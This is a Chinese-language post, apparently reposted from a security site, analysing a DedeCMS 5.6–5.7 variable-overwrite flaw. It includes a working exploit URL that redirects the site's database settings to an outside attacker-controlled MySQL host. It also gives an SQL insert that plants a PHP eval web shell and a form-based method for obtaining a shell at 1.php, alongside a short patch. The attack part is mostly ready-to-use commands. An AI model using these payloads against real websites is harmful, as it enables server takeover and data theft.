漏洞不是我發的,這裏僅僅只是分析這個漏洞的成因 php
今天看到微博看到dedecms出洞了,上土司看了一下,同一個問題,暫時公佈的有2個位置,html
dede/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=rootmysql
上面這個是知道後臺地址的利用方式sql
另外一種以下,下本地裝一個dede,執行一下語句,很簡單,寫了一個dedetag,生成shell的shell
SQL 語句:數據庫 insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'<?php eval($_POST[c]) ?>\');echo "OK";@fclose($fp);{/dede:php}');數組 |
再用構造的表單提交數據庫信息到plus/mytag_js.php?aid=1,覆蓋掉數據庫的全局參數,致使目標站的mysql類連接到黑客構造的mysql數據庫,shell 在同目錄下 1.php安全
分析下mytag_js.php,一開始引用了配置文件,跟進去看看:服務器
require_once(dirname(__FILE__).'/../include/common.inc.php');網絡
會發現下面代碼:
如下是引用片斷: if (!defined('DEDEREQUEST')) |
上面這個套路過濾了引號之類的注入問題,變量覆蓋雖有過濾,可是沒過濾徹底,被多維數組繞過了,
如_COOKIE[GLOBALS][cfg_dbuser]這個變量,foreach($_REQUEST as $_k=>$_v)以後,這個$k變成_COOKIE,從而繞過了過濾
$v變成了[GLOBALS][cfg_dbuser],從而覆蓋了data/common.inc.php中的數據庫配置變量,
測試5.6 ,5.7都存在,用dedecms的站很是多,此次估計得悲劇一大片。
修補的方法官方論壇有位斑竹給出了代碼,以下
找到include/common.inc.php文件
找到
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) )
{
exit('Request var not allow!');
}
}
替換爲下面的代碼:
function CheckRequest(&$val) {
if (is_array($val)) {
foreach ($val as $_k=>$_v) {
CheckRequest($_k);
CheckRequest($val[$_k]);
}
} else
{
if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS)#',$val) )
{
exit('Request var not allow!');
}
}
}
CheckRequest($_REQUEST);
------------------------------------------------------------------------------------------------
By:jannock
漏洞細節已經傳遍了(http://www.t00ls.net/thread-17354-1-1.html,http://lcx.cc/?FoxNews=1681.html),又沒得玩了。
網傳的都是說要知道後臺才能利用,但不用,只要 plus 目錄存在,服務器能外連,就能拿shell。
前題條件,必須準備好本身的dede數據庫,而後插入數據:
如下是引用片斷: insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'<?php eval($_POST[c]) ?>\');echo "OK";@fclose($fp);{/dede:php}'); |
再用下面表單提交,shell 就在同目錄下 1.php。原理本身研究。。。
如下是引用片斷: <form action="" method="post" name="QuickSearch" id="QuickSearch" onsubmit="addaction();"> |
本文「DedeCms v5.6-5.7 爆嚴重安全漏洞 …… - 拿 WebShell EXP」,來自:Nuclear'Atk 網絡安全研究中心,本文地址:http://lcx.cc/?i=1682,轉載請註明做者及出處!